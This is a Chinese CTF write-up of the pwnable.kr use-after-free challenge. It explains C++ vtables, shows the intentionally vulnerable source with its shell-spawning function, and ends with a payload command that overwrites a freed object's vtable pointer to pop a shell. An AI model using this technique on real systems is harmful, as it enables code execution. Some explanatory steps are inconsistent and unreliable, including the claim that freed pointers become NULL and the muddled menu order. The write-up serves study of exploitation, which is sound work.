pwnable.kr uaf之wp

几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下:

1.【UAF】分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。
2.【UAF利用】

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针,让填充的数据使eip发生跳转。

3.【malloc】

大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。

小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。

在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。

对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。

4.【虚函数

虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

接下来分析函数:

 1 #include <fcntl.h>
 2 #include <iostream> 
 3 #include <cstring>
 4 #include <cstdlib>
 5 #include <unistd.h>
 6 using namespace std;
 7 
 8 class Human{
 9 private:
10     virtual void give_shell(){
11         system("/bin/sh");
12     }
13 protected:
14     int age;
15     string name;
16 public:
17     virtual void introduce(){
18         cout << "My name is " << name << endl;
19         cout << "I am " << age << " years old" << endl;
20     }
21 };
22 
23 class Man: public Human{
24 public:
25     Man(string name, int age){
26         this->name = name;
27         this->age = age;
28         }
29         virtual void introduce(){
30         Human::introduce();
31                 cout << "I am a nice guy!" << endl;
32         }
33 };
34 
35 class Woman: public Human{
36 public:
37         Woman(string name, int age){
38                 this->name = name;
39                 this->age = age;
40         }
41         virtual void introduce(){
42                 Human::introduce();
43                 cout << "I am a cute girl!" << endl;
44         }
45 };
46 
47 int main(int argc, char* argv[]){
48     Human* m = new Man("Jack", 25);
49     Human* w = new Woman("Jill", 21);
50 
51     size_t len;
52     char* data;
53     unsigned int op;
54     while(1){
55         cout << "1. use\n2. after\n3. free\n";
56         cin >> op;
57 
58         switch(op){
59             case 1:
60                 m->introduce();
61                 w->introduce();
62                 break;
63             case 2:
64                 len = atoi(argv[1]);
65                 data = new char[len];
66                 read(open(argv[2], O_RDONLY), data, len);
67                 cout << "your data is allocated" << endl;
68                 break;
69             case 3:
70                 delete m;
71                 delete w;
72                 break;
73             default:
74                 break;
75         }
76     }
77 
78     return 0;    
79 }

如下:

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }

类human有虚函数,所以有一个vtable,这个vtable中记录了类中所有虚函数的函数指针,即包括give_shell和introduce两个函数的函数指针。接着往下看:

 

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

 

这两个类函数,继承了hunam函数,实现了各自的Introduce,这两个类都会继承父类的vtable,vtable中introduce的函数指针被替换成了他们自己的函数地址。

接下来再看主函数:

 

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;    
}

 

主函数是一个case选择:

1.调用两个类函数

2.配data空间,从文件名为argv[2]中读取长度为argv[1]的字符到data部分

3.释放对象

这里如果是先执行3再执行2,那么把对象空间释放并且把指针置NULL却又去引用了,就触发了UAF漏洞。那么如何操纵被释放的空间呢?可以看到在case2中,是从文件名为argv[2]中读取长度为argv[1]的字符到data部分。利用前面所述UAF漏洞,data在分配空间的时候就分配到了case3中被释放的空间。如果我们能够把introduce函数的指针覆盖为give_shell的指针,那么就可以在接着执行1,调用shell了。

 

可以看到程序中分配了24个字节,接着片下看:

此处调用了man函数,一步步跟进去,发现了give_shell地址

返回去看一下,发现了human的vtable,往上走一点,又发现了man的vtable:

下面的地址点进去后:分别是give_shell地址和introducd地址

 

而human中give_shell地址和与man一致,但introduce却不同:

接着分析swich函数,选择1,调用introduce函数,

补充:

当类中有虚函数的时候,编译器会为类插入一个我们看不见的数据并建立一个表。这个表就是虚函数表(vtbl),那个我们看不见的数据就是指向虚函数表的指针——虚表指针(vptr)。虚函数表就
是为了保存类中的虚函数的地址。我们可以把虚函数表理解成一个数组,数组中的每个元素存放的就是类中虚函数的地址。当调用虚函数的时候,程序不是像普通函数那样直接跳到函数的代码处,而
是先取出vptr即得到虚函数表的地址,根据这个来到虚函数表里,从这个表里取出该函数的地址,最后调用该函数。所以只要不同类的vptr不同,他对应的vtbl就不同,不同的vtbl装着对应类的
虚函数地址,这样虚函数就可以完成它的任务了。

于是根据上图可以分析出v13是vptr,再由

v13再转换为指针,加上8为introduce的第一个指针。然后调用introduce。

 

我们漏洞利用的思路是调用introduce的时候,换成give_shell地址调用。

所以往下分析:

前面我们分析了give_shell的地址和introduce的地址give_shell的地址+8=introduce的地址。即give_shell=introduce-8,(give_shell=v13+8-8),如果想调用introduce时调用成give_shell就要将introduce的地址减去8指向give_shell地址

 

如图,如果我们把vtable指向图中地址等于v13,那么v13+8调用introduce时不就调用成了give_shell

“在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。”

 

那么根据这句话所说,这个程序在case2中读取数据的填充到data空间的时候,开始的八字节就是vtable。之后是类的数据。

所以利用过程如下:

uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" >/tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc

得到:

选1先释放空间获得地址,选2读取数据填充到data空间,之后选择2是类的数据。然后选1调用函数

参考链接 :http://blog.csdn.net/qq_20307987/article/details/51511230

posted @ 2017-08-11 11:13  S_s_s  阅读(721)  评论(0编辑  收藏  举报